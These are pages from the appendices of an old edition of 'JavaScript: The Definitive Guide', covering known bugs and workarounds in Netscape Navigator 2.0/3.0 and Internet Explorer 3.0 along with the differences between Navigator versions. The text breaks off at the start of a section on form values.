The bugs detailed in the sections below comprise the complete list of JavaScript bugs that were known to the developers of JavaScript at Netscape when this book went to press. Unfortunately, not all of these bugs have been fully researched, and some of the descriptions are vague. They've been arranged by topic, and in approximate order of severity and the frequency with which they are encountered.

History.go() Doesn't Work with Frames

The History.go() method may not work correctly when a window contains multiple frames. Use History.back() and History.forward() instead.

Table Bugs

There are a couple of JavaScript bugs in Navigator 3.0 that relate to HTML tables.

Images in tables

When an <IMG> tag appears in a table cell, two JavaScript Image objects will be created to represent it. If the <IMG> tag appears in a table nested within a table, four Image objects may be created. Only the last Image object created for a given <IMG> tag has a working src property. Because an unexpected number of Image objects are created, it is difficult to correctly use the Document.images[] array to refer to them.

As a workaround, give all of your images names with the NAME attribute, and refer to them by name as properties of the Document object. When JavaScript creates multiple objects with the same name, it stores them in an array by that name. If an image named "outside" is specified outside of any HTML tables, you can refer to it as document.outside. However, if an image named "inside" is created within a table, two Image objects with this name will be created, and they can be referred to as document.inside[0] and document.inside[1]. It is the latter image that has the correctly working src property.

The following function demonstrates a workaround to this bug. Given an image name, it returns the working Image object with that name. It works correctly for images that are not part of tables, and will continue to work correctly even after this bug has been patched.

function getImage(image_name)
{
    var i = document[image_name];
    if (i.length)                  // If the image is actually an array...
        return i[i.length-1];      // then return the last image in it.
    else return i;                 // Otherwise return the single Image.
}

Document.write() in nested tables

Calling document.write() from within a nested table can sometimes result in incorrectly formatted text, which may include portions of JavaScript code that appears within <SCRIPT> and </SCRIPT> tags.

Using document.write() within tables is not nearly so buggy as it could be in Navigator 2.0, but nevertheless, it is still a good idea to sidestep these problems by using document.write() to dynamically generate the entire table, including all relevant HTML tags, rather than just generating the contents of a static HTML table.

Bugs with Dynamically Generated Documents

Navigator 3.0 contained a lot of changes that allow it to print and save the dynamically generated content of documents, which is something that was not possible in Navigator 2.0. Unfortunately, these changes seem to have left (or created) some residual bugs, and the exact circumstances under which these bugs can occur are not always clear.

Event handlers in regenerated documents

For very complex implementation-specific reasons, if your JavaScript program generates a document into a separate window or frame, you may find that the event handlers in the generated document stop working if your program ever regenerates that document. There are two steps you can take to avoid this problem. The first is to not call document.open() for the window or frame into which you are generating your document. While it is good style to call this function, it is not actually necessary, because calling document.write() on a closed document implicitly re-opens the document. The only time document.open() is actually necessary is when you want to open a document for some MIME type other than "text/html".

The other way to avoid this problem, if you really do want to call document.open(), is to store the return value of document.open() into a global variable. The return value of this method is typically ignored but it is actually the new Document object. Because of the particular genesis of this bug, simply storing this return value is sufficient to prevent the event handlers from breaking.

Content disappears upon resize

In some generated documents, at least those containing Applets, resizing the browser may cause document content to disappear. As a workaround to this problem, you can try calling document.write() with the empty string before each <APPLET> tag in the document. That is, insert do-nothing lines like the following before your <APPLET> tags:

<!-- Bug workaround for NN 3.0 -->
<SCRIPT LANGUAGE="JavaScript">document.write("");</SCRIPT>

onClick() event handlers ignored

Under certain conditions, which are not yet understood, an onClick() event handler in a generated document may fail to work. Since it is not yet understood what triggers this problem, no standard workaround has been found yet.

LiveConnect Bugs

LiveConnect, described in Chapter 19, LiveConnect: JavaScript and Java, is a new and powerful addition to Navigator 3.0. As such, it is not surprising that some bugs remain. Actually, most LiveConnect bugs are really missing features, rather than actual buggy implementation.

Can't call Java method with nonsystem object arguments

JavaScript cannot call any Java method that takes an object as an argument if the type of that object is not one of the standard system classes. For example, if an applet defines a helper class called Helper, JavaScript could not invoke a method that expected an argument of type Helper. The workaround is to define any affected methods so that they take arguments of type java.lang.Object, and then, within the method, to cast those arguments to the actual desired type.

Java network activity can cause exception

If JavaScript invokes Java code that performs networking, it may cause an exception to be thrown. If you encounter this problem, a workaround you can try is to perform the networking in a separate thread, and have JavaScript call the method that starts the networking thread.

Accessing applets before they are loaded

If you attempt to use LiveConnect to interact with a Java applet before the applet is fully loaded, you will see an error dialog, and the applet will be inaccessible to JavaScript even after it has finished loading. To avoid this situation, use the onLoad() event handler of the Window object to be sure that everything has finished loading before attempting to interact with applets.

Problems with overloaded methods

If a class contains overloaded methods (i.e., methods with the same name but different arguments), JavaScript may not be able to correctly figure out which one to call. In beta releases of Navigator 3.0, JavaScript could only invoke the first overloaded method that it found in the class. That problem has been resolved, however, and overloaded methods usually work now.

If you encounter trouble with overloaded methods, a workaround is to give them different names, or to add a new method that simply calls the correct overloaded method for you.

Form Bugs on Windows Platforms

There are a few bugs related to event handlers and form elements that occur on Windows platforms only.

onBlur() and onFocus()

onBlur() and onFocus() event handlers of Form elements are never invoked on Windows platforms.

onClick() in reset button

On Windows platforms, you can't prevent a Form from being reset by returning false from the onClick() event handler of the Reset button object.

FileUpload bug

For important security reasons, the value field of the FileUpload object cannot be set by JavaScript programs. This is not a bug. Unfortunately, on Windows platforms, you cannot correctly read the the value property after the user has clicked the Browse button of the form element to select a file. The value property is only correct if the user actually types in the filename. As a workaround, you can try calling the focus() and blur() methods of the FileUpload object before attempting to read the value property.

Window Size on Unix Platforms

On Unix platforms, when you open a new window with the Window.open() method, the width and height specifications may be overridden and ignored if X resources specify window width and height, or if Navigator was started with the standard X -geometry command line argument. The only workaround to this bug is to be satisfied with the default window size and not try to override it with X resources or command-line arguments.

Previous | Home | Next
FAQ Lists | Book Index | Known JavaScript Bugs in Internet Explorer 3.0
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix B] B.2 Known JavaScript Bugs in Internet Explorer 3.0

JavaScript: The Definitive Guide

Previous Appendix B
Known Bugs 		Next

B.2 Known JavaScript Bugs in Internet Explorer 3.0

Although there are undoubtedly at least some bugs in the implementation of client-side JavaScript in Internet Explorer 3.0, Microsoft has not made a list of bugs available to the public. Or rather, it made such a list briefly available on its web site and then withdrew it.

Despite this questionable tactic of Microsoft's, the truth is that the issue of bugs in Internet Explorer 3.0 is usually overshadowed by the issue of compatibilitiy with Navigator 3.0. Any bugs can simply be considered yet another incompatibility to watch out for. See Appendix D, JavaScript Incompatibilities in Internet Explorer 3.0, for details.

Previous | Home | Next
Known JavaScript Bugs in Navigator 3.0 | Book Index | Commonly Encountered JavaScript Bugs in Navigator 2.0
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix B] B.3 Commonly Encountered JavaScript Bugs in Navigator 2.0

JavaScript: The Definitive Guide

Previous Appendix B
Known Bugs 		Next

B.3 Commonly Encountered JavaScript Bugs in Navigator 2.0

Navigator 2.0 has a lot of bugs. This is a fact of life and a source of frequent frustration. By being aware of the most important and most frequently encountered bugs, you can begin to reduce the amount of frustration you'll have to endure when programming with the Navigator 2.0 version of client-side JavaScript--and, more important, the amount of frustration your customers endure when they run your JavaScript code with Navigator 2.0.

If you're wondering why this relatively long section has been devoted to Navigator 2.0 bugs, when presumably these have all been fixed in Navigator 3.0, remember that it doesn't matter what version of Navigator you run; it is the user's version that counts. Even with Navigator 3.0 released in final form, your scripts may still be run on many Navigator 2.0 platforms.

Navigator 2.0 is sufficiently buggy that apparently no one has attempted to make a complete list of all known bugs (if Netscape has one, they are not releasing it). The reason is simple: trying to produce a definitive list of bugs, for versions 2.0, 2.0.1, and 2.0.2, running on Windows 3.1, Windows 95, Windows NT, the Macintosh, and each of the many flavors of Unix that are supported would be a huge undertaking. Documenting all the bugs in all the versions on all the platforms in detail would probably require a book longer than this one.

For that reason, this section does not attempt to be a definitive list of bugs in Navigator 2.0. Instead, the aim is to inform you of the most serious and most commonly encountered bugs so that you will know how to avoid them and how to work around them when you can't avoid them. In a heterogeneous environment like the Internet, users of your scripts will be running a variety of Navigator versions on a variety of platforms. In effect, a bug on any one popular platform is a bug on all platforms, since the affected code or object cannot be safely used. For that reason, the bugs listed here are not categorized by platform or version.

Note that with release 2.0.2, development stopped on version 2.0 of Navigator. Thus, the bugs listed here will remain in the installed base of Navigator 2.0 browsers.

After describing the commonly encountered bugs, this chapter ends with a short section on debugging techniques that you may find useful for your scripts.

Security Hobbles

The first possibility you should consider when you encounter a strange bug in a script is to check whether you are violating Navigator's security restrictions. Remember that in versions 2.0.1 and 2.0.2, a script cannot read any properties of a window if the contents of that window came from a different server (i.e., a different host or a different protocol running on the same host) than the script did. The implications of this one restriction are far-reaching and have many implications for referencing properties across windows or frames. In particular, if you see the "Window has no properties" or "access disallowed from scripts at url to documents at url" error messages, you've probably run up against this security hobble.

See Chapter 20, JavaScript Security, for a list of a few more security restrictions. These restrictions are inconvenient and annoying, but they aren't really bugs; just limitations in the capabilities of JavaScript. Many of these restrictions may be lifted when data tainting becomes the default security model in Navigator 4.0.

General Bugs

This section covers general bugs that don't apply to any one particular JavaScript object.

Printing and saving generated text

When you output text to a document using the Document.write() method, Navigator can display this text. Unfortunately, because of the way HTML parsing works in Navigator, text generated by JavaScript cannot be printed or saved to a file. There is no workaround, except to replace your client-side JavaScript with a server-side CGI script.

A bug related to the previous one is that when the web browser is resized, all JavaScript in the web page is re-interpreted. This bug is fixed in 3.0 along with the printing bug.

Another related Navigator (non-JavaScript) bug is that when Navigator prints forms, it does not print the contents of the form elements.

JavaScript and tables

In general, JavaScript and tables do not mix well in Navigator 2.0. If you can, simply avoid putting JavaScript code in web pages that contain tables. If you cannot avoid it, then don't put form elements within tables--the table algorithm parses table contents twice, causing contained form elements to be created twice, and what are supposed to be single form elements end up in arrays of elements. Also, do not try to use JavaScript to output a portion (one or a few cells) of a table. If you need to generate some of the table with JavaScript code, use JavaScript to generate the entire table. These table problems have been fixed (mostly) in 3.0.

Line length limit

JavaScript was designed not to impose arbitrary length restrictions on lines of code. Unfortunately, because of a bug in the HTML parser, JavaScript complains if any lines in your program are over 254 characters long. Usually, the only time this occurs is when you have a very long string, in which case the end of the string gets truncated, and JavaScript complains of an "Unterminated string literal." The workaround is to break up your long lines and to avoid long strings. If you must use long strings, break them up into chunks that are shorter than 254 characters and use + to concatenate them.

Script size limit

Because of the nature of the 16-bit architecture of Windows 3.1, there is a limit on the length of scripts that can be handled on this platform. Programmers have reported having problems on this platform when their scripts reach 20Kb to 40Kb in length. A solution is to break the script up into separate modules and load each module into a separate frame or window, and then (carefully!) make function calls between frames or windows. When a script gets this long, another solution you should seriously consider is converting it to a CGI script run on the server, instead of forcing the user to download all the code.

Conversion of floating-point values to strings

The code used by JavaScript to convert floating-point values to strings is buggy and you will often see floating-point values displayed with a lot of trailing 9s. For example, the following code:

i = .15
alert(i);
will usually display a dialog box containing a string like ".14999999999995" instead of the ".15" that you would expect. This is a particular problem when dealing with numeric values that represent money. A workaround is to multiply your value by 100, and use the Math.round() method to round the result to the nearest integer. If you divide by 100 at this point, you'll have the same problem of trailing 9s, so the only solution is to convert your value times 100 to a string, use the String.substring() method to extract the dollars digits and cents digits, and then print these strings out, adding your own decimal point.

Date and time bugs

In Navigator 2.0, the Date object has quite a few bugs and is almost unusable. On Macintosh platforms, the time returned is off by an hour, and on all platforms, time zones are not handled well. Also, prior to version 2.0.2, there was a Navigator bug (not directly a JavaScript bug) in the handling daylight savings time. A side effect of this is that Navigator 2.0 and 2.0.1 cannot correctly determine whether a document on a server is newer than the cached version and so the Reload button does not always work correctly.

You can usually use the Date object to print out the current date, and you can use it to compute the interval (in milliseconds) between two dates or times in the same time zone, but you should probably not attempt more sophisticated uses of it than that.

lastIndexOf()

The String method lastIndexOf() should search a string backward starting from the specified character position within the string (0 for the first character, and string.length - 1 for the last character). In 2.0, however, it begins the search one character before the specified character. The workaround in 2.0 is to add 1 to the desired index.

eval()

Using the eval() function crashes Navigator 2.0 and 2.01 when running on Windows 3.1 platforms. This bug is fixed in 2.02, however. The workaround is to avoid eval(), or to use the Navigator object to check what platform the script is running on, and refuse to run on a Windows 3.1/Navigator 2.0 or 2.01 platform.

Window and Frame Bugs

The bugs described below affect the Window object and related areas of JavaScript. Some of them are suprisingly subtle, and because the Window object is so important in client-side JavaScript, these bugs may have wide reaching impact.

Window.open() method

The Window.open() method takes three arguments, a URL to display in the window, a window name, and a list of browser features that should be present or absent in the new window. Unfortunately, there are bugs with the first and third arguments.

On the Macintosh and some Unix platforms, the URL specified as the first argument to Window.open() is ignored. A commonly proposed workaround is to call open() a second time with the same URL specified. Another workaround is to set the location.href property of the window after it is created. For example, the second block of JavaScript code should be used instead of the first block:

// problems on Mac and Unix
var w = open("http://www.ora.com");
// following works on all platforms
var w = open("");
w.location.href = "http://www.ora.com";

In addition, the list of window features specified by the third argument to Window.open() does not work on Unix platforms running the X Window System. Width and height may be specified with this third argument, but no other features may be specified--all windows will be created without a menubar, toolbar, status line, and so on.

Dangling references

As discussed in Chapter 11, Windows and the JavaScript Name Space, the JavaScript memory management model is inadequate in Navigator 2.0. Because all objects allocated by a window are freed when the window unloads, references to those objects from other windows can be left dangling if the user closes the window or unexpectedly points the browser to a new page. If you attempt to use one of these references to a no-longer-existing object, you may get a corrupt value, or you may actually crash the browser.

It is debatable whether this is a bug or just an unfortunate misfeature of the JavaScript architecture in Navigator 2.0. In any case, the solution is to be very careful with your cross-window references.

Frame properties overwrite others

This is a bug that occurs only in a very specific situation, but it is bizarre and puzzling when you encounter it for the first time. When a window contains named frames, the references to those frames are stored in properties of the window. JavaScript apparently allocates the first few property "slots" of the window object for these frames. If you create other properties of the Window object before the frames are created, and if the window is a newly created one, then these properties may take up those first property "slots." Later, when the frame references are stored in those slots, the value of your properties will be overwritten.

This situation occurs only in a couple of specific cases. The first is when you have a <SCRIPT> tag that sets properties before a <FRAMESET> tag that defines frames. (Doing this is probably a poor programming practice, by the way.) The second is when you have a script that sets properties in a window and then generates the frames itself by explicitly outputting the necessary <FRAMESET> and <FRAME> tags.

A related bug that serves to make this bug even more mysterious is that frame properties of a Window object are not detected by a for/in loop until they have actually been used once by a script!

onLoad() event handler called early

When a document that does not contain frames but does contain images is loaded into a window, the Window object's onLoad() event handler may be called before the document is actually completely loaded. In this case, you cannot rely on onLoad() to tell you when the document is fully loaded and all document objects are defined. Therefore, you should be sure to check that the elements you want to access really exist before attempting to use them. For example, you might check that the last element of the last form is created before doing any manipulation of forms. If the element is not created when you check it, you can use setTimeout() to defer the code to be executed and to check again later.

Dialogs in onUnload()

Invoking the alert(), confirm(), or prompt() dialogs from an onUnload() event handler may crash Navigator. The only workaround is to avoid the temptation to do this--don't try to pop up a dialog to say good-bye to the user when they leave your page!

Scripts in framesets

Scripts that appear after a <FRAMESET> tag in a document will not be executed. This is not actually a bug, but a fact of the JavaScript architecture. Scripts may appear in the <HEAD> or <BODY> of a document. An HTML file that defines a frameset has a head--that portion that appears before the frameset--but does not have a body; the frameset is a substitute for the document body, and JavaScript rules do not allow scripts within frameset definitions.

JavaScript does allow scripts before the beginning of a frameset, but unless you have a good reason to do this, it probably isn't a good idea.

Status and defaultStatus

When you query the value of the status property of a Window, you get the value of the defaultStatus property of that Window, even if there is a status message currently displayed by the browser.

Also, on some platforms the defaultStatus message is not properly restored after a status message is displayed. For example, if you set the status property to a special message from the onMouseOver() event handler of a hypertext link, then this message may not be erased when the user moves the mouse off the link. You can address this problem by using setTimeout() to register a function to be executed after a couple of seconds which will explicitly set the status property to be the same as the defaultStatus.

setTimeout() memory leak

As discussed in Chapter 12, Programming with Windows, Navigator 2.0 does not reclaim any memory used by a page until that page unloads. The setTimeout() method allocates memory each time it is called, even when called repeatedly with the same string argument. Therefore, pages that perform repetitive actions (such as animation) with setTimeout() will allocate more and more memory, and may eventually crash the browser.

Document Object Bugs

These bugs affect the Document object.

Document background color

You can set the Document.bgColor property at any time to change the background color of a document. Unfortunately, on Unix/X11 platforms, and possibly some others, doing this also erases any text displayed in the window. If you really want to change the document color, you will have to reload or rewrite the document contents, which will cause a noticeable flicker after the color changes.

Closing the current document

Calling Document.close() on a document that contains the currently running script may crash the browser. The solution is to not do this. Obviously, any time Navigator crashes, it is a bug. But just as obviously, closing a document that contains the code that is currently being executed is not a useful thing to do, and it is not clear what such an attempt should actually do.

Overwriting the current script

If you call Document.write() on the current document from an event handler or timeout, or call a function that calls Document.write() from an event handler or timeout, you will implicitly close the current document and open a new one to perform the write into. What this does is erase the contents of the document, including the currently executing function or event handler. At best you will get undefined results if you attempt to do this. Often, though, you will crash the browser.

The solution, of course, is to not do this. Note that you can safely overwrite the document of a separate frame or window.

Form Bugs

This section describes bugs that affect HTML forms and the elements they contain.

Images and form event handlers

A strange but very commonly encountered bug is the following: If a document contains images and forms, then all the <IMG> tags must have WIDTH and HEIGHT attributes, or the event handlers of the form may be ignored. Usually, adding these tags speeds document loading times, so it is a good idea to get in the habit of using them with all images.

An alternative workaround is to follow your forms with an empty pair of <SCRIPT> and </SCRIPT> tags.

Backward radio and checkbox arrays

When an HTML form contains more than one element with the same name, then those elements will be stored in an array by that name. This is commonly done for radio buttons and checkboxes. The elements are supposed to appear in the array in the same order that they appear in the HTML source. For obscure reasons, however, if the elements do not have event handlers defined, then they will be placed in these arrays backward. If some of the elements have event handlers and some do not, then they will be placed in the array in some chaotic order. The solution is to provide an event handler for each element, even if it is only a dummy handler like the following:

<INPUT TYPE="checkbox" NAME="opt" VALUE="case-sensitive" onClick="0">

Of course, the order the elements are placed in the array is only an issue if you want to read or write the properties of those elements from your JavaScript code. If the form will simply be submitted to a server, then you don't have to worry about this bug.

Form method property

The method property of a Form object specifies the technique used to submit the contents of a form to a server. This property should be a read/write property, but in Navigator 2.0, it is read-only and may be set only when the form is defined in HTML.

Mutable string values

In JavaScript, strings are immutable objects, which means that the characters within them may not be changed and that any operations on strings actually create new strings. Strings are assigned by reference, not by value. In general, when an object is assigned by reference, a change made to the object through one reference will be visible through all other references to the object. Because strings cannot be changed, however, you can have multiple references to a string object and not worry that the string value will change without your knowing it.

Unfortunately, however, the value property of the Text and Textarea objects is a mutable string in Navigator 2.0. Thus, if you assign the value property to a variable, and then you set (or the user types) new text into the Text or Textarea object, the string your variable refers to will change.

The way to prevent this behavior is to force the value property to be copied by value rather than by reference. You can do this by creating a new string object with the + operator. Add the empty string to the value property to create a new string that contains the same text as the value property:

var address = document.form1.address.value + "";

Previous | Home | Next
Known JavaScript Bugs in Internet Explorer 3.0 | Book Index | Differences between Navigator 2.0 and 3.0
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] Differences between Navigator 2.0 and 3.0

JavaScript: The Definitive Guide

Previous Appendix C Next

C. Differences between Navigator 2.0 and 3.0

Contents:
Core Language Changes
LiveConnect
JavaScript Security
Image Manipulation
The Window Object
The Location Object
Forms and Form Elements
Miscellaneous Changes

There have been quite a few changes between Navigator 2.0 and Navigator 3.0. Some of these are differences in the core JavaScript language--differences between JavaScript 1.0 and JavaScript 1.1. Others are the addition of new objects, the implementation of LiveConnect, and changed functionality in existing objects. The changes are listed below. Details can be found on the various reference entries, and in the main chapters of the book.

C.1 Core Language Changes

There have been quite a few additions and improvements to the core JavaScript language, and to the way that it is embedded in HTML files:

  • The typeof and void operators have been added. See Chapter 4, Expressions and Operators.

  • The constructor property of all objects completements the typeof operator as a way to determine the type of objects. (The type property the Element object serves a similar purpose for HTML form elements). See Chapter 7, Objects and the "Object.constructor" reference entry.

  • Constructor functions may now have a prototype object that defines methods, constants, and default properties shared by all objects created by the constructor. See Chapter 7, Objects, and the "Object.constructor" reference entry.

  • The String object is now a true JavaScript object, with a constructor, and a new split() method.

  • The Boolean and Number objects have been added. The Number object defines several useful constants.

  • The Function object now supports a constructor for the creation of "anonymous" functions. See Chapter 6, Functions.

  • The Array object provides a useful constructor for the creation of arrays, and also new sort(), reverse(), and join() methods. Array handling in JavaScript 1.1 is much improved over JavaScript 1.0. See Chapter 8, Arrays.

  • The Math.random() method works on all platforms in JavaScript 1.1, and the Not-a-Number value, NaN, and the isNaN() function are implemented on all palatforms. This means that parseInt() and parseFloat() can now correctly return NaN to signal invalid input.

  • The eval() function of JavaScript 1.0 has become a method of all objects in JavaScript 1.1. This allows JavaScript code to be evaluated in the context of any desired object. When used as a function in JavaScript 1.1, eval() will evaluate the code in the context of the current window, just as it did in JavaScript 1.0.

  • All objects can now be given an assign() method, which essentially overloads the assignment operator for that particular object. See Chapter 7, Objects.

  • Files of pure JavaScript code, given the .js file extension, may now be included within HTML files with the SRC attribute of the <SCRIPT> tag. See Chapter 10, Client-Side Program Structure.

  • You can specify code that requires JavaScript 1.1 and should not be run on JavaScript 1.0 platforms with the LANGUAGE="JavaScript1.1" attribute of the <SCRIPT> tag. See Chapter 10, Client-Side Program Structure.

  • JavaScript code can also be embedded within HTML tags between &{ and }; using the new JavaScript entity. See Chapter 10, Client-Side Program Structure.

Previous | Home | Next
Commonly Encountered JavaScript Bugs in Navigator 2.0 | Book Index | LiveConnect
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.2 LiveConnect

JavaScript: The Definitive Guide

Previous Appendix C
Differences between Navigator 2.0 and 3.0 		Next

C.2 LiveConnect

In Navigator 3.0, LiveConnect is the "glue" that connects JavaScript with Java and with Navigator plug-ins. It has the following new features:

  • The JavaPackage object represents a Java package.

  • The JavaClass object represents a Java class.

  • The JavaObject object represents a Java object.

  • The JavaArray object represents an array in Java.

  • The JavaMethod object represents a Java method.

  • The getClass() method returns the JavaClass object for any given JavaObject object.

  • The Java class netscape.javascript.JSObject represents a JavaScript object from within Java applets.

  • The applets[] array of the Document object is an array of JavaObject objects that represent the applets embedded in the document.

  • The embeds[] array of the Document object is an array of JavaObject objects that represent the embedded objects in the document, and allow JavaScript to control the Navigator plug-ins that display those objects.

See Chapter 19, LiveConnect: JavaScript and Java for details on all of these new objects, functions, and arrays.

Previous | Home | Next
Core Language Changes | Book Index | JavaScript Security
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.3 JavaScript Security

JavaScript: The Definitive Guide

Previous Appendix C
Differences between Navigator 2.0 and 3.0 		Next

C.3 JavaScript Security

There have been several important changes to JavaScript security in Navigator 3.0. See Chapter 20, JavaScript Security for complete details.

  • The Document.domain() property allows large web sites that use multiple web servers to circumvent the restriction that scripts from one host can't read the properties of windows or documents that come from another host.

  • A new security model, based on data tainting, is experimental in Navigator 3.0. When enabled, this new model makes significant changes to the security restrictions placed on JavaScript programs. It also makes new properties and array elements of the History object available, and allows the value property of the Password object to be read.

  • The taint() and untaint() functions were added in Navigator 3.0 as part of the new data-tainting security model. The taintEnabled() method of the Navigator object was also added.

Previous | Home | Next
LiveConnect | Book Index | Image Manipulation
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.4 Image Manipulation

JavaScript: The Definitive Guide

Previous Appendix C
Differences between Navigator 2.0 and 3.0 		Next

C.4 Image Manipulation

Navigator 3.0 supports image manipulation with the following powerful new features. Chapter 16, Special Effects with Images, has complete details.

  • The Image object represents an image, either on-screen or off. Setting the src property of an Image object will cause it to load (and display if it is an on-screen image) the image stored at the specfied URL.

  • The Document.images[] array contains a complete list of the images displayed within a document.

  • The Image() constructor allows the creation of off-screen images, which can be used to preload images that will be required for animations or other image manipulation techniques.

  • The onload(), onerror(), and onabort() event handlers of the Image object help determine the status of images that are loading.

  • The complete property of the Image object specified whether it is still being loaded or not.

Previous | Home | Next
JavaScript Security | Book Index | The Window Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.5 The Window Object

JavaScript: The Definitive Guide

Previous Appendix C
Differences between Navigator 2.0 and 3.0 		Next

C.5 The Window Object

The Window object is one of the most important in JavaScript. It has a number of new features in Navigator 3.0:

  • The Window.scroll() method scrolls the contents of a window to specified x and y coordinates.

  • The Window.focus() and Window.blur() methods give and remove keyboard focus from a window. Calling focus() will raise the window to the top of the desktop stacking order on most platforms.

  • The onfocus() and onblur() event handlers are invoked when a window gains or loses the input focus.

  • The onerror() event handler of the Window object is invoked when a JavaScript error occurs; it gives a JavaScript program the opportunity to handle errors in its own way.

  • The Window.opener property refers to the Window object that most recently called the open() method on it.

  • The Window.closed property specifies whether a window has been closed.

  • The name property of the Window object is now read/write, so that windows (including the unnamed initial window) can change their names for use with the TARGET attribute of various HTML tags.

  • A fourth, optional argument has been added to the Window.open() method; it allows JavaScript programs to specify whether the URL loaded into the specified window should create a new entry in the History array or whether it should replace the current entry.

Previous | Home | Next
Image Manipulation | Book Index | The Location Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.6 The Location Object

JavaScript: The Definitive Guide

Previous Appendix C
Differences between Navigator 2.0 and 3.0 		Next

C.6 The Location Object

The Location object supports two important new methods in Navigator 3.0:

  • The replace() method of the Location object causes the specified URL to be loaded and displayed, but instead of creating a new entry in the hisory array for that URL, it overwrites the URL of the current entry in the array.

  • The reload() method of the Location object reloads the current document.

Previous | Home | Next
The Window Object | Book Index | Forms and Form Elements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.7 Forms and Form Elements

JavaScript: The Definitive Guide

Previous Appendix C
Differences between Navigator 2.0 and 3.0 		Next

C.7 Forms and Form Elements

There are several new features of the Form object and of the form elements that it contains in Navigator 3.0:

  • The Form object now supports a reset() method that resets the value of all elements within the form.

  • The Form object also supports a corresponding onreset() method, invoked when the form is reset by the user.

  • All form elements now have a type property that specifies what type of element they are.

  • The onclick() event handler of all form elements that support it is now cancelable--the event handler may return false to indicate that the Browser should not execute the default action for that button. This affects the Reset and Submit elements.

  • The options displayed within a Select element can now be dynamically updated by JavaScript programs. The options[] array of the Select element and its length property have special behavior that manipulates the displayed options, and the new Option() constructor allows the creation of new Option object for display within the Select element.

Previous | Home | Next
The Location Object | Book Index | Miscellaneous Changes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.8 Miscellaneous Changes

JavaScript: The Definitive Guide

Previous Appendix C
Differences between Navigator 2.0 and 3.0 		Next

C.8 Miscellaneous Changes

There have also been a few miscellaneous changes in Navigator 3.0:

  • Hypertext links created by <AREA> tags within client-side image maps create Link objects just like <A> tags do. These objects become part of the links[] array of the Document object.

  • Link objects support a new onMouseOut() event handler, triggered when the mouse passes out of the link's "hot spot" or trigger area.

  • The Document object has a new URL property which is the preferred name for what was the Document.location property. The location property is deprecated because it is too easily confused with the location property of the Window object.

  • New Plugin and MimeType objects represent installed Navigator plug-ins and MIME type data formats that are supported by the browser. These objects appear in the plugins[] and mimeTypes[] arrays of the Navigator object, and allow JavaScript programs to determine whether a particular client supports required plug-ins or data formats. Furtherore, the plugins.refresh() method of the Navigator object causes the browser to check for newly installed plug-ins and optionally reload affected web pages.

  • The javaEnabled() method of the Navigator object specifies whether Java is supported and enabled on the current platform.

Previous | Home | Next
Forms and Form Elements | Book Index | JavaScript Incompatibilities in Internet Explorer 3.0
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] JavaScript Incompatibilities in Internet Explorer 3.0

JavaScript: The Definitive Guide

Previous Appendix D Next

D. JavaScript Incompatibilities in Internet Explorer 3.0

Contents:
Language Version
Case Sensitivity
Form Values and String Conversion
Object Model Differences
Garbage Collection
Security
Communication with Java
Supported but Nonfunctional Properties
Miscellaneous Differences

There are quite a few differences between the version of JavaScript supported by Internet Explorer 3.0 and those "definitive" versions supported by Navigator 2.0 and 3.0. This is understandable, because although Netscape calls JavaScript an "open" standard, they weren't ready to release the implementation of their incomplete Navigator 2.0 version of it. Therefore Microsoft was left in the position of reverse-engineering the language on a tight release schedule.

Because of the incompatibilities between the Microsoft and Netscape versions of JavaScript, it can be frustrating to write JavaScript code that works correctly on both platforms, and some programmers may simply choose to avoid the issue by writing code for JavaScript 1.1 only, and requiring users to use Navigator 3.0 or a later version. Compatibility with Internet Explorer 3.0 can be acheived, however, and the partial list of differences in this appendix should help. Note that you'll also find these differences detailed througout the chapters and reference pages of this book.

D.1 Language Version

JavaScript in Internet Explorer was developed during the Navigator 3.0 beta cycle, so the Microsoft engineers modeled it mostly after the stable Navigator 2.0 platform. As a result, IE 3.0 supports a version of JavaScript that is essentially JavaScript 1.0. This means that IE does not support many of the interesting new features of JavaScript 1.1: the Image object, the Plugin and MimeType objects, the Number and Boolean objects, and so forth. It does not define applets[] or embeds[] arrays in the Document object. Because it does not support the Number object, it does not define the MAX_VALUE, MIN_VALUE, and other constants that exist as properties of that object. Like Navigator 2.0 on most platforms, IE 3.0 does not support the Not-a-Number (NaN) value.

On the other hand, the Microsoft engineers did get a few important 1.1 features into their implementation. For example, IE 3.0 does support the Window.opener property, the typeof operator, and even object prototypes (although it doesn't work for strings.) IE 3.0 also supports the Array object of Navigator 3.0, although it does not support the join(), sort() and reverse() methods of that object.

Previous | Home | Next
Miscellaneous Changes | Book Index | Case Sensitivity
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.2 Case Sensitivity

JavaScript: The Definitive Guide

Previous Appendix D
JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.2 Case Sensitivity

One major difference between Navigator and Internet Explorer is that the "object model" (as Microsoft calls it) in Internet Explorer is not case-sensitive. Because IE can also be scripted with the non-case-sensitive VBScript language, all the HTML and browser objects such as Window, Document and Form are not case sensitive. Thus, in IE, you could write code that invoked DOCUMENT.WRITE() instead of document.write(). Don't expect code like this to work in Navigator, however! See Chapter 2, Lexical Structure, for details.

Previous | Home | Next
Language Version | Book Index | Form Values and String Conversion
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.3 Form Values and String Conversion

JavaScript: The Definitive Guide

Previous Appendix D
